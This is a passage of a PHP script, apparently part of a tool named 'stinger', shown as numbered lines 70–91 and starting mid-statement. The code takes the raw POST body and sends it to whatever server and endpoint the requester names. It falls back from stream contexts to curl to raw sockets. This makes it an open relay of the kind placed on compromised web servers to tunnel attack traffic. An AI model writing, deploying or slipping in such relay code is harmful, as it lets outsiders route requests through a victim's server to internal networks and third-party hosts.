($_SERVER['REQUEST_METHOD'] === 'POST') { 70 | $post_arg = file_get_contents("php://input"); 71 | $RemoteServer = $_POST['Remoteserver']; 72 | $Endpoint = $_POST['Endpoint']; 73 | if (function_exists('stream_context_create')) { 74 | $url = $RemoteServer . $Endpoint; 75 | post($url, $post_arg); 76 | } 77 | elseif (function_exists("curl_init")) { 78 | $ch = curl_init(); 79 | curl_setopt($ch, CURLOPT_POST, 1); 80 | curl_setopt($ch, CURLOPT_POSTFIELDS, $post_arg); 81 | curl_setopt($ch, CURLOPT_URL, $RemoteServer . $Endpoint); 82 | curl_exec($ch); 83 | curl_close($ch); 84 | } elseif (function_exists("fsockopen")) { 85 | $url = $RemoteServer . $Endpoint; 86 | my_socket_post($url, $post_arg); 87 | }else { 88 | exit("stinger php error!"); 89 | } 90 | } 91 | ?> --------------------------------------------------------------------------------